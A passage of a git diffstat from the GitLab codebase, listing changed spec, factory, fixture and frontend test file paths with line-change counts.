-rw-r--r--spec/factories/ci/job_token/project_scope_links.rb9
-rw-r--r--spec/factories/clusters/applications/helm.rb26
-rw-r--r--spec/factories/clusters/clusters.rb6
-rw-r--r--spec/factories/environments.rb8
-rw-r--r--spec/factories/gitlab/database/background_migration/batched_migrations.rb1
-rw-r--r--spec/factories/groups.rb7
-rw-r--r--spec/factories/integration_data.rb6
-rw-r--r--spec/factories/integrations.rb36
-rw-r--r--spec/factories/merge_requests.rb5
-rw-r--r--spec/factories/operations/feature_flag_scopes.rb2
-rw-r--r--spec/factories/operations/feature_flags.rb1
-rw-r--r--spec/factories/packages.rb2
-rw-r--r--spec/factories/packages/debian/component_file.rb6
-rw-r--r--spec/factories/packages/debian/distribution_key.rb16
-rw-r--r--spec/factories/packages/debian/file_metadatum.rb48
-rw-r--r--spec/factories/packages/package_file.rb28
-rw-r--r--spec/factories/projects.rb4
-rw-r--r--spec/factories/user_details.rb1
-rw-r--r--spec/factories_spec.rb3
-rw-r--r--spec/features/admin/admin_appearance_spec.rb20
-rw-r--r--spec/features/admin/admin_hooks_spec.rb18
-rw-r--r--spec/features/admin/admin_mode/logout_spec.rb31
-rw-r--r--spec/features/admin/admin_mode_spec.rb77
-rw-r--r--spec/features/admin/admin_runners_spec.rb58
-rw-r--r--spec/features/admin/admin_search_settings_spec.rb2
-rw-r--r--spec/features/admin/admin_sees_background_migrations_spec.rb84
-rw-r--r--spec/features/admin/admin_settings_spec.rb46
-rw-r--r--spec/features/admin/clusters/applications_spec.rb22
-rw-r--r--spec/features/admin/integrations/user_activates_mattermost_slash_command_spec.rb16
-rw-r--r--spec/features/admin/users/user_spec.rb30
-rw-r--r--spec/features/admin/users/users_spec.rb458
-rw-r--r--spec/features/alert_management/alert_management_list_spec.rb24
-rw-r--r--spec/features/alerts_settings/user_views_alerts_settings_spec.rb2
-rw-r--r--spec/features/boards/boards_spec.rb42
-rw-r--r--spec/features/boards/issue_ordering_spec.rb2
-rw-r--r--spec/features/boards/multi_select_spec.rb4
-rw-r--r--spec/features/boards/new_issue_spec.rb34
-rw-r--r--spec/features/boards/sidebar_assignee_spec.rb2
-rw-r--r--spec/features/boards/sidebar_milestones_spec.rb4
-rw-r--r--spec/features/calendar_spec.rb13
-rw-r--r--spec/features/clusters/cluster_detail_page_spec.rb24
-rw-r--r--spec/features/clusters/cluster_health_dashboard_spec.rb12
-rw-r--r--spec/features/clusters/installing_applications_shared_examples.rb252
-rw-r--r--spec/features/contextual_sidebar_spec.rb8
-rw-r--r--spec/features/cycle_analytics_spec.rb4
-rw-r--r--spec/features/dashboard/active_tab_spec.rb21
-rw-r--r--spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb19
-rw-r--r--spec/features/dashboard/group_spec.rb2
-rw-r--r--spec/features/dashboard/shortcuts_spec.rb18
-rw-r--r--spec/features/frequently_visited_projects_and_groups_spec.rb14
-rw-r--r--spec/features/groups/clusters/applications_spec.rb23
-rw-r--r--spec/features/groups/group_settings_spec.rb20
-rw-r--r--spec/features/groups/import_export/connect_instance_spec.rb4
-rw-r--r--spec/features/groups/import_export/import_file_spec.rb14
-rw-r--r--spec/features/groups/integrations/user_activates_mattermost_slash_command_spec.rb16
-rw-r--r--spec/features/groups/members/manage_groups_spec.rb76
-rw-r--r--spec/features/groups/members/manage_members_spec.rb59
-rw-r--r--spec/features/groups/members/tabs_spec.rb6
-rw-r--r--spec/features/groups/milestones/gfm_autocomplete_spec.rb1
-rw-r--r--spec/features/groups/navbar_spec.rb12
-rw-r--r--spec/features/groups/settings/user_searches_in_settings_spec.rb2
-rw-r--r--spec/features/groups_spec.rb38
-rw-r--r--spec/features/incidents/incident_details_spec.rb38
-rw-r--r--spec/features/issues/csv_spec.rb4
-rw-r--r--spec/features/issues/issue_detail_spec.rb63
-rw-r--r--spec/features/issues/issue_sidebar_spec.rb4
-rw-r--r--spec/features/issues/user_creates_issue_spec.rb48
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb5
-rw-r--r--spec/features/issues/user_interacts_with_awards_spec.rb10
-rw-r--r--spec/features/issues/user_resets_their_incoming_email_token_spec.rb4
-rw-r--r--spec/features/issues/user_toggles_subscription_spec.rb71
-rw-r--r--spec/features/markdown/mermaid_spec.rb97
-rw-r--r--spec/features/markdown/metrics_spec.rb2
-rw-r--r--spec/features/merge_request/user_allows_commits_from_memebers_who_can_merge_spec.rb6
-rw-r--r--spec/features/merge_request/user_awards_emoji_spec.rb4
-rw-r--r--spec/features/merge_request/user_edits_assignees_sidebar_spec.rb4
-rw-r--r--spec/features/merge_request/user_edits_reviewers_sidebar_spec.rb61
-rw-r--r--spec/features/merge_request/user_merges_immediately_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb2
-rw-r--r--spec/features/merge_request/user_sees_merge_widget_spec.rb12
-rw-r--r--spec/features/merge_request/user_sees_versions_spec.rb8
-rw-r--r--spec/features/merge_request/user_views_diffs_spec.rb1
-rw-r--r--spec/features/merge_requests/user_exports_as_csv_spec.rb8
-rw-r--r--spec/features/nav/top_nav_responsive_spec.rb53
-rw-r--r--spec/features/profile_spec.rb4
-rw-r--r--spec/features/profiles/personal_access_tokens_spec.rb11
-rw-r--r--spec/features/profiles/user_edit_profile_spec.rb2
-rw-r--r--spec/features/profiles/user_search_settings_spec.rb2
-rw-r--r--spec/features/projects/active_tabs_spec.rb25
-rw-r--r--spec/features/projects/badges/pipeline_badge_spec.rb2
-rw-r--r--spec/features/projects/blobs/blob_show_spec.rb22
-rw-r--r--spec/features/projects/branches/user_deletes_branch_spec.rb33
-rw-r--r--spec/features/projects/branches/user_views_branches_spec.rb11
-rw-r--r--spec/features/projects/branches_spec.rb67
-rw-r--r--spec/features/projects/clusters/applications_spec.rb23
-rw-r--r--spec/features/projects/confluence/user_views_confluence_page_spec.rb2
-rw-r--r--spec/features/projects/environments/environment_spec.rb22
-rw-r--r--spec/features/projects/environments/environments_spec.rb2
-rw-r--r--spec/features/projects/environments_pod_logs_spec.rb2
-rw-r--r--spec/features/projects/feature_flag_user_lists/user_deletes_feature_flag_user_list_spec.rb7
-rw-r--r--spec/features/projects/feature_flags/user_sees_feature_flag_list_spec.rb58
-rw-r--r--spec/features/projects/feature_flags/user_updates_feature_flag_spec.rb8
-rw-r--r--spec/features/projects/features_visibility_spec.rb4
-rw-r--r--spec/features/projects/import_export/import_file_spec.rb10
-rw-r--r--spec/features/projects/infrastructure_registry_spec.rb61
-rw-r--r--spec/features/projects/integrations/user_activates_flowdock_spec.rb (renamed from spec/features/projects/services/user_activates_flowdock_spec.rb)0
-rw-r--r--spec/features/projects/integrations/user_activates_jira_spec.rb (renamed from spec/features/projects/services/user_activates_jira_spec.rb)0
-rw-r--r--spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb (renamed from spec/features/projects/services/user_activates_pivotaltracker_spec.rb)0
-rw-r--r--spec/features/projects/members/invite_group_spec.rb8
-rw-r--r--spec/features/projects/members/list_spec.rb50
-rw-r--r--spec/features/projects/members/tabs_spec.rb4
-rw-r--r--spec/features/projects/members/user_requests_access_spec.rb7
-rw-r--r--spec/features/projects/navbar_spec.rb4
-rw-r--r--spec/features/projects/new_project_spec.rb52
-rw-r--r--spec/features/projects/pages/user_edits_settings_spec.rb6
-rw-r--r--spec/features/projects/releases/user_views_releases_spec.rb172
-rw-r--r--spec/features/projects/serverless/functions_spec.rb1
-rw-r--r--spec/features/projects/services/disable_triggers_spec.rb2
-rw-r--r--spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb35
-rw-r--r--spec/features/projects/services/user_activates_slack_notifications_spec.rb2
-rw-r--r--spec/features/projects/settings/monitor_settings_spec.rb16
-rw-r--r--spec/features/projects/settings/registry_settings_spec.rb12
-rw-r--r--spec/features/projects/settings/service_desk_setting_spec.rb19
-rw-r--r--spec/features/projects/settings/user_manages_merge_requests_settings_spec.rb6
-rw-r--r--spec/features/projects/settings/user_searches_in_settings_spec.rb2
-rw-r--r--spec/features/projects/show/schema_markup_spec.rb4
-rw-r--r--spec/features/projects/show/user_sees_collaboration_links_spec.rb12
-rw-r--r--spec/features/projects/user_uses_shortcuts_spec.rb8
-rw-r--r--spec/features/projects/user_views_empty_project_spec.rb23
-rw-r--r--spec/features/projects/wiki/user_views_wiki_empty_spec.rb2
-rw-r--r--spec/features/projects/wiki/user_views_wiki_in_project_page_spec.rb7
-rw-r--r--spec/features/projects_spec.rb14
-rw-r--r--spec/features/protected_branches_spec.rb52
-rw-r--r--spec/features/search/user_searches_for_code_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_issues_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_merge_requests_spec.rb7
-rw-r--r--spec/features/search/user_searches_for_milestones_spec.rb2
-rw-r--r--spec/features/search/user_searches_for_wiki_pages_spec.rb2
-rw-r--r--spec/features/search/user_uses_header_search_field_spec.rb4
-rw-r--r--spec/features/search/user_uses_search_filters_spec.rb8
-rw-r--r--spec/features/security/project/snippet/private_access_spec.rb81
-rw-r--r--spec/features/users/show_spec.rb8
-rw-r--r--spec/features/users/signup_spec.rb2
-rw-r--r--spec/finders/ci/auth_job_finder_spec.rb30
-rw-r--r--spec/finders/ci/runners_finder_spec.rb58
-rw-r--r--spec/finders/concerns/packages/finder_helper_spec.rb82
-rw-r--r--spec/finders/deployments_finder_spec.rb24
-rw-r--r--spec/finders/feature_flags_finder_spec.rb8
-rw-r--r--spec/finders/issues_finder_spec.rb10
-rw-r--r--spec/finders/packages/helm/package_files_finder_spec.rb47
-rw-r--r--spec/finders/packages/maven/package_finder_spec.rb136
-rw-r--r--spec/finders/packages/pypi/package_finder_spec.rb10
-rw-r--r--spec/finders/pending_todos_finder_spec.rb28
-rw-r--r--spec/finders/projects/serverless/functions_finder_spec.rb2
-rw-r--r--spec/finders/projects_finder_spec.rb35
-rw-r--r--spec/finders/security/security_jobs_finder_spec.rb6
-rw-r--r--spec/fixtures/api/schemas/analytics/cycle_analytics/summary.json21
-rw-r--r--spec/fixtures/api/schemas/cluster_status.json2
-rw-r--r--spec/fixtures/api/schemas/entities/issue_board.json3
-rw-r--r--spec/fixtures/api/schemas/external_validation.json4
-rw-r--r--spec/fixtures/api/schemas/graphql/packages/package_details.json1
-rw-r--r--spec/fixtures/api/schemas/graphql/packages/package_pypi_metadata.json13
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/board.json2
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/label_basic.json6
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/project.json8
-rw-r--r--spec/fixtures/bulk_imports/boards.ndjson1
-rw-r--r--spec/fixtures/bulk_imports/gz/boards.ndjson.gzbin0 -> 432 bytes
-rw-r--r--spec/fixtures/bulk_imports/gz/labels.ndjson.gz (renamed from spec/fixtures/bulk_imports/labels.ndjson.gz)bin202 -> 202 bytes
-rw-r--r--spec/fixtures/bulk_imports/gz/milestones.ndjson.gzbin0 -> 402 bytes
-rw-r--r--spec/fixtures/bulk_imports/labels.ndjson1
-rw-r--r--spec/fixtures/bulk_imports/milestones.ndjson5
-rw-r--r--spec/fixtures/config/redis_cache_config_with_env.yml2
-rw-r--r--spec/fixtures/config/redis_cache_new_format_host.yml29
-rw-r--r--spec/fixtures/config/redis_cache_new_format_socket.yml6
-rw-r--r--spec/fixtures/config/redis_cache_old_format_host.yml5
-rw-r--r--spec/fixtures/config/redis_cache_old_format_socket.yml3
-rw-r--r--spec/fixtures/config/redis_new_format_host.yml18
-rw-r--r--spec/fixtures/config/redis_queues_config_with_env.yml2
-rw-r--r--spec/fixtures/config/redis_queues_new_format_host.yml29
-rw-r--r--spec/fixtures/config/redis_queues_new_format_socket.yml6
-rw-r--r--spec/fixtures/config/redis_queues_old_format_host.yml5
-rw-r--r--spec/fixtures/config/redis_queues_old_format_socket.yml3
-rw-r--r--spec/fixtures/config/redis_shared_state_config_with_env.yml2
-rw-r--r--spec/fixtures/config/redis_shared_state_new_format_host.yml29
-rw-r--r--spec/fixtures/config/redis_shared_state_new_format_socket.yml6
-rw-r--r--spec/fixtures/config/redis_shared_state_old_format_host.yml5
-rw-r--r--spec/fixtures/config/redis_shared_state_old_format_socket.yml3
-rw-r--r--spec/fixtures/dns/a_rr.json4
-rw-r--r--spec/fixtures/dns/a_with_aaaa_rr_in_additional_section.json4
-rw-r--r--spec/fixtures/dns/aaaa_rr.json4
-rw-r--r--spec/fixtures/dns/srv_with_a_rr_in_additional_section.json4
-rw-r--r--spec/fixtures/helm/helm_list_v2_cilium_deployed.json.gzbin302 -> 0 bytes
-rw-r--r--spec/fixtures/helm/helm_list_v2_cilium_failed.json.gzbin304 -> 0 bytes
-rw-r--r--spec/fixtures/helm/helm_list_v2_cilium_missing.json.gzbin320 -> 0 bytes
-rw-r--r--spec/fixtures/helm/helm_list_v2_empty_blob.json.gzbin81 -> 0 bytes
-rw-r--r--spec/fixtures/helm/helm_list_v2_prometheus_deployed.json.gzbin338 -> 0 bytes
-rw-r--r--spec/fixtures/helm/helm_list_v2_prometheus_failed.json.gzbin339 -> 0 bytes
-rw-r--r--spec/fixtures/helm/helm_list_v2_prometheus_missing.json.gzbin320 -> 0 bytes
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml1
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml1
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml1
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric.rb14
-rw-r--r--spec/fixtures/lib/generators/gitlab/usage_metric_generator/sample_metric_test.rb7
-rw-r--r--spec/fixtures/packages/debian/sample-dev_1.2.3~binary_amd64.debbin1164 -> 1164 bytes
-rw-r--r--spec/fixtures/packages/debian/sample/debian/control2
-rw-r--r--spec/fixtures/packages/debian/sample_1.2.3~alpha2.dsc6
-rw-r--r--spec/fixtures/packages/debian/sample_1.2.3~alpha2.tar.xzbin864 -> 864 bytes
-rw-r--r--spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.buildinfo275
-rw-r--r--spec/fixtures/packages/debian/sample_1.2.3~alpha2_amd64.changes26
-rw-r--r--spec/fixtures/product_intelligence/survey_response_schema.json8
-rw-r--r--spec/fixtures/whats_new/20201225_01_05.yml2
-rw-r--r--spec/frontend/__helpers__/mock_user_callout_dismisser.js16
-rw-r--r--spec/frontend/__helpers__/vue_test_utils_helper.js11
-rw-r--r--spec/frontend/__helpers__/vue_test_utils_helper_spec.js3
-rw-r--r--spec/frontend/alert_management/components/alert_management_table_spec.js32
-rw-r--r--spec/frontend/alerts_settings/components/__snapshots__/alerts_form_spec.js.snap119
-rw-r--r--spec/frontend/alerts_settings/components/alerts_form_spec.js50
-rw-r--r--spec/frontend/alerts_settings/components/alerts_integrations_list_spec.js2
-rw-r--r--spec/frontend/alerts_settings/components/alerts_settings_wrapper_spec.js11
-rw-r--r--spec/frontend/api_spec.js68
-rw-r--r--spec/frontend/batch_comments/components/preview_item_spec.js4
-rw-r--r--spec/frontend/batch_comments/stores/modules/batch_comments/actions_spec.js6
-rw-r--r--spec/frontend/behaviors/shortcuts/keybindings_spec.js11
-rw-r--r--spec/frontend/blob/components/table_contents_spec.js67
-rw-r--r--spec/frontend/boards/board_card_inner_spec.js20
-rw-r--r--spec/frontend/boards/board_list_spec.js7
-rw-r--r--spec/frontend/boards/boards_util_spec.js112
-rw-r--r--spec/frontend/boards/components/__snapshots__/board_blocked_icon_spec.js.snap2
-rw-r--r--spec/frontend/boards/components/board_card_spec.js38
-rw-r--r--spec/frontend/boards/components/board_content_sidebar_spec.js32
-rw-r--r--spec/frontend/boards/components/board_filtered_search_spec.js4
-rw-r--r--spec/frontend/boards/components/board_form_spec.js20
-rw-r--r--spec/frontend/boards/components/board_list_header_deprecated_spec.js13
-rw-r--r--spec/frontend/boards/components/board_list_header_spec.js14
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_due_date_spec.js137
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js6
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js178
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js11
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js13
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js6
-rw-r--r--spec/frontend/boards/project_select_deprecated_spec.js8
-rw-r--r--spec/frontend/boards/stores/actions_spec.js171
-rw-r--r--spec/frontend/boards/stores/mutations_spec.js47
-rw-r--r--spec/frontend/branches/components/delete_branch_button_spec.js96
-rw-r--r--spec/frontend/branches/components/delete_branch_modal_spec.js157
-rw-r--r--spec/frontend/ci_variable_list/store/actions_spec.js12
-rw-r--r--spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap2
-rw-r--r--spec/frontend/clusters/components/applications_spec.js41
-rw-r--r--spec/frontend/clusters/components/fluentd_output_settings_spec.js186
-rw-r--r--spec/frontend/clusters/components/ingress_modsecurity_settings_spec.js192
-rw-r--r--spec/frontend/clusters/forms/components/integration_form_spec.js13
-rw-r--r--spec/frontend/clusters/services/mock_data.js3
-rw-r--r--spec/frontend/clusters/stores/clusters_store_spec.js23
-rw-r--r--spec/frontend/commit/pipelines/pipelines_spec.js280
-rw-r--r--spec/frontend/commit/pipelines/pipelines_table_spec.js253
-rw-r--r--spec/frontend/content_editor/components/__snapshots__/toolbar_link_button_spec.js.snap36
-rw-r--r--spec/frontend/content_editor/components/content_editor_spec.js9
-rw-r--r--spec/frontend/content_editor/components/toolbar_link_button_spec.js151
-rw-r--r--spec/frontend/content_editor/components/toolbar_text_style_dropdown_spec.js131
-rw-r--r--spec/frontend/content_editor/components/top_toolbar_spec.js19
-rw-r--r--spec/frontend/content_editor/extensions/code_block_highlight_spec.js37
-rw-r--r--spec/frontend/content_editor/extensions/link_spec.js61
-rw-r--r--spec/frontend/content_editor/services/track_input_rules_and_shortcuts_spec.js45
-rw-r--r--spec/frontend/content_editor/test_utils.js132
-rw-r--r--spec/frontend/create_cluster/eks_cluster/store/actions_spec.js6
-rw-r--r--spec/frontend/cycle_analytics/__snapshots__/base_spec.js.snap9
-rw-r--r--spec/frontend/cycle_analytics/base_spec.js197
-rw-r--r--spec/frontend/cycle_analytics/mock_data.js175
-rw-r--r--spec/frontend/cycle_analytics/path_navigation_spec.js148
-rw-r--r--spec/frontend/cycle_analytics/store/actions_spec.js191
-rw-r--r--spec/frontend/cycle_analytics/store/getters_spec.js16
-rw-r--r--spec/frontend/cycle_analytics/store/mutations_spec.js34
-rw-r--r--spec/frontend/cycle_analytics/utils_spec.js129
-rw-r--r--spec/frontend/deploy_freeze/store/actions_spec.js8
-rw-r--r--spec/frontend/diffs/components/diff_content_spec.js1
-rw-r--r--spec/frontend/diffs/components/diff_stats_spec.js53
-rw-r--r--spec/frontend/diffs/components/settings_dropdown_spec.js1
-rw-r--r--spec/frontend/diffs/mock_data/diff_file.js2
-rw-r--r--spec/frontend/diffs/store/actions_spec.js62
-rw-r--r--spec/frontend/diffs/store/utils_spec.js328
-rw-r--r--spec/frontend/diffs/utils/diff_file_spec.js78
-rw-r--r--spec/frontend/diffs/utils/workers_spec.js309
-rw-r--r--spec/frontend/editor/editor_ci_schema_ext_spec.js7
-rw-r--r--spec/frontend/emoji/awards_app/store/actions_spec.js191
-rw-r--r--spec/frontend/error_tracking/components/error_details_spec.js10
-rw-r--r--spec/frontend/error_tracking/store/actions_spec.js2
-rw-r--r--spec/frontend/error_tracking/store/details/actions_spec.js2
-rw-r--r--spec/frontend/error_tracking/store/list/actions_spec.js2
-rw-r--r--spec/frontend/feature_flags/components/empty_state_spec.js136
-rw-r--r--spec/frontend/feature_flags/components/feature_flags_spec.js145
-rw-r--r--spec/frontend/feature_flags/components/feature_flags_tab_spec.js167
-rw-r--r--spec/frontend/feature_flags/components/user_lists_table_spec.js98
-rw-r--r--spec/frontend/feature_flags/store/index/actions_spec.js165
-rw-r--r--spec/frontend/feature_flags/store/index/mutations_spec.js94
-rw-r--r--spec/frontend/filtered_search/filtered_search_manager_spec.js2
-rw-r--r--spec/frontend/fixtures/api_markdown.rb2
-rw-r--r--spec/frontend/fixtures/releases.rb11
-rw-r--r--spec/frontend/fixtures/runner.rb75
-rw-r--r--spec/frontend/fixtures/services.rb2
-rw-r--r--spec/frontend/fixtures/startup_css.rb88
-rw-r--r--spec/frontend/fixtures/static/projects.json9
-rw-r--r--spec/frontend/flash_spec.js49
-rw-r--r--spec/frontend/frequent_items/components/app_spec.js18
-rw-r--r--spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap42
-rw-r--r--spec/frontend/grafana_integration/components/grafana_integration_spec.js22
-rw-r--r--spec/frontend/groups/components/group_item_spec.js122
-rw-r--r--spec/frontend/ide/components/branches/item_spec.js2
-rw-r--r--spec/frontend/ide/components/commit_sidebar/actions_spec.js14
-rw-r--r--spec/frontend/ide/components/commit_sidebar/form_spec.js2
-rw-r--r--spec/frontend/ide/components/commit_sidebar/new_merge_request_option_spec.js6
-rw-r--r--spec/frontend/ide/components/ide_review_spec.js4
-rw-r--r--spec/frontend/ide/components/ide_spec.js4
-rw-r--r--spec/frontend/ide/components/ide_status_bar_spec.js2
-rw-r--r--spec/frontend/ide/components/ide_tree_list_spec.js6
-rw-r--r--spec/frontend/ide/components/ide_tree_spec.js4
-rw-r--r--spec/frontend/ide/components/merge_requests/list_spec.js2
-rw-r--r--spec/frontend/ide/components/nav_dropdown_spec.js4
-rw-r--r--spec/frontend/ide/components/new_dropdown/index_spec.js2
-rw-r--r--spec/frontend/ide/components/new_dropdown/modal_spec.js18
-rw-r--r--spec/frontend/ide/components/repo_commit_section_spec.js6
-rw-r--r--spec/frontend/ide/components/repo_editor_spec.js8
-rw-r--r--spec/frontend/ide/ide_router_spec.js12
-rw-r--r--spec/frontend/ide/mock_data.js14
-rw-r--r--spec/frontend/ide/services/index_spec.js2
-rw-r--r--spec/frontend/ide/stores/actions/file_spec.js16
-rw-r--r--spec/frontend/ide/stores/actions/merge_request_spec.js14
-rw-r--r--spec/frontend/ide/stores/actions/project_spec.js32
-rw-r--r--spec/frontend/ide/stores/actions/tree_spec.js22
-rw-r--r--spec/frontend/ide/stores/actions_spec.js6
-rw-r--r--spec/frontend/ide/stores/getters_spec.js36
-rw-r--r--spec/frontend/ide/stores/modules/commit/actions_spec.js22
-rw-r--r--spec/frontend/ide/stores/modules/commit/getters_spec.js4
-rw-r--r--spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js2
-rw-r--r--spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js12
-rw-r--r--spec/frontend/ide/stores/modules/terminal/actions/session_status_spec.js6
-rw-r--r--spec/frontend/ide/stores/mutations/branch_spec.js10
-rw-r--r--spec/frontend/ide/stores/mutations/file_spec.js6
-rw-r--r--spec/frontend/ide/stores/mutations/tree_spec.js24
-rw-r--r--spec/frontend/ide/stores/mutations_spec.js22
-rw-r--r--spec/frontend/ide/stores/utils_spec.js18
-rw-r--r--spec/frontend/ide/utils_spec.js34
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_table_row_spec.js117
-rw-r--r--spec/frontend/import_entities/import_projects/store/actions_spec.js18
-rw-r--r--spec/frontend/incidents/components/incidents_list_spec.js31
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap114
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap18
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap16
-rw-r--r--spec/frontend/incidents_settings/components/alerts_form_spec.js51
-rw-r--r--spec/frontend/incidents_settings/components/incidents_settings_service_spec.js7
-rw-r--r--spec/frontend/incidents_settings/components/pagerduty_form_spec.js23
-rw-r--r--spec/frontend/integrations/edit/components/active_checkbox_spec.js1
-rw-r--r--spec/frontend/integrations/edit/components/confirmation_modal_spec.js8
-rw-r--r--spec/frontend/integrations/edit/components/dynamic_field_spec.js16
-rw-r--r--spec/frontend/integrations/edit/components/integration_form_spec.js61
-rw-r--r--spec/frontend/integrations/edit/components/jira_issues_fields_spec.js54
-rw-r--r--spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js18
-rw-r--r--spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js9
-rw-r--r--spec/frontend/integrations/edit/components/override_dropdown_spec.js10
-rw-r--r--spec/frontend/integrations/edit/components/trigger_fields_spec.js23
-rw-r--r--spec/frontend/integrations/index/components/integrations_list_spec.js6
-rw-r--r--spec/frontend/invite_members/components/group_select_spec.js33
-rw-r--r--spec/frontend/invite_members/components/invite_members_modal_spec.js50
-rw-r--r--spec/frontend/invite_members/components/invite_members_trigger_spec.js16
-rw-r--r--spec/frontend/issuable/components/csv_export_modal_spec.js44
-rw-r--r--spec/frontend/issuable/components/csv_import_export_buttons_spec.js58
-rw-r--r--spec/frontend/issuable/components/csv_import_modal_spec.js48
-rw-r--r--spec/frontend/issuable/components/issuable_by_email_spec.js11
-rw-r--r--spec/frontend/issuable/components/status_box_spec.js4
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_root_spec.js6
-rw-r--r--spec/frontend/issuable_list/components/issuable_item_spec.js4
-rw-r--r--spec/frontend/issue_show/components/app_spec.js41
-rw-r--r--spec/frontend/issue_show/components/description_spec.js2
-rw-r--r--spec/frontend/issue_show/components/edit_actions_spec.js180
-rw-r--r--spec/frontend/issue_show/components/fields/type_spec.js84
-rw-r--r--spec/frontend/issue_show/components/form_spec.js17
-rw-r--r--spec/frontend/issue_show/components/incidents/incident_tabs_spec.js2
-rw-r--r--spec/frontend/issue_show/issue_spec.js2
-rw-r--r--spec/frontend/issue_show/mock_data.js59
-rw-r--r--spec/frontend/issue_show/mock_data/apollo_mock.js9
-rw-r--r--spec/frontend/issue_show/mock_data/mock_data.js60
-rw-r--r--spec/frontend/issues_list/components/issuables_list_app_spec.js5
-rw-r--r--spec/frontend/issues_list/components/issues_list_app_spec.js134
-rw-r--r--spec/frontend/issues_list/mock_data.js14
-rw-r--r--spec/frontend/issues_list/utils_spec.js10
-rw-r--r--spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap6
-rw-r--r--spec/frontend/jira_import/components/jira_import_progress_spec.js2
-rw-r--r--spec/frontend/jobs/components/table/job_table_app_spec.js90
-rw-r--r--spec/frontend/lib/utils/datetime_utility_spec.js17
-rw-r--r--spec/frontend/lib/utils/number_utility_spec.js4
-rw-r--r--spec/frontend/lib/utils/table_utility_spec.js11
-rw-r--r--spec/frontend/lib/utils/url_utility_spec.js88
-rw-r--r--spec/frontend/logs/components/environment_logs_spec.js3
-rw-r--r--spec/frontend/logs/mock_data.js27
-rw-r--r--spec/frontend/logs/stores/actions_spec.js27
-rw-r--r--spec/frontend/logs/stores/getters_spec.js48
-rw-r--r--spec/frontend/logs/stores/mutations_spec.js36
-rw-r--r--spec/frontend/members/components/app_spec.js2
-rw-r--r--spec/frontend/members/components/members_tabs_spec.js10
-rw-r--r--spec/frontend/members/components/modals/remove_group_link_modal_spec.js2
-rw-r--r--spec/frontend/members/components/table/expires_at_spec.js2
-rw-r--r--spec/frontend/members/components/table/role_dropdown_spec.js2
-rw-r--r--spec/frontend/members/index_spec.js19
-rw-r--r--spec/frontend/members/mock_data.js13
-rw-r--r--spec/frontend/members/utils_spec.js10
-rw-r--r--spec/frontend/monitoring/alert_widget_spec.js2
-rw-r--r--spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap1
-rw-r--r--spec/frontend/monitoring/components/charts/time_series_spec.js8
-rw-r--r--spec/frontend/monitoring/components/dashboard_panel_spec.js26
-rw-r--r--spec/frontend/monitoring/components/dashboard_spec.js44
-rw-r--r--spec/frontend/monitoring/components/dashboard_url_time_spec.js2
-rw-r--r--spec/frontend/monitoring/store/actions_spec.js14
-rw-r--r--spec/frontend/nav/components/responsive_app_spec.js173
-rw-r--r--spec/frontend/nav/components/responsive_header_spec.js67
-rw-r--r--spec/frontend/nav/components/responsive_home_spec.js137
-rw-r--r--spec/frontend/nav/components/top_nav_app_spec.js31
-rw-r--r--spec/frontend/nav/components/top_nav_container_view_spec.js60
-rw-r--r--spec/frontend/nav/components/top_nav_dropdown_menu_spec.js121
-rw-r--r--spec/frontend/nav/components/top_nav_menu_item_spec.js76
-rw-r--r--spec/frontend/nav/components/top_nav_menu_sections_spec.js107
-rw-r--r--spec/frontend/nav/components/top_nav_new_dropdown_spec.js122
-rw-r--r--spec/frontend/nav/mock_data.js4
-rw-r--r--spec/frontend/notes/components/comment_form_spec.js41
-rw-r--r--spec/frontend/notes/components/discussion_actions_spec.js11
-rw-r--r--spec/frontend/notes/components/discussion_reply_placeholder_spec.js23
-rw-r--r--spec/frontend/notes/components/noteable_discussion_spec.js12
-rw-r--r--spec/frontend/notes/stores/actions_spec.js180
-rw-r--r--spec/frontend/operation_settings/components/metrics_settings_spec.js16
-rw-r--r--spec/frontend/packages/details/components/__snapshots__/file_sha_spec.js.snap30
-rw-r--r--spec/frontend/packages/details/components/app_spec.js109
-rw-r--r--spec/frontend/packages/details/components/file_sha_spec.js33
-rw-r--r--spec/frontend/packages/details/components/installations_commands_spec.js4
-rw-r--r--spec/frontend/packages/details/components/package_files_spec.js132
-rw-r--r--spec/frontend/packages/details/store/actions_spec.js62
-rw-r--r--spec/frontend/packages/details/store/mutations_spec.js9
-rw-r--r--spec/frontend/packages/list/stores/actions_spec.js6
-rw-r--r--spec/frontend/packages/mock_data.js17
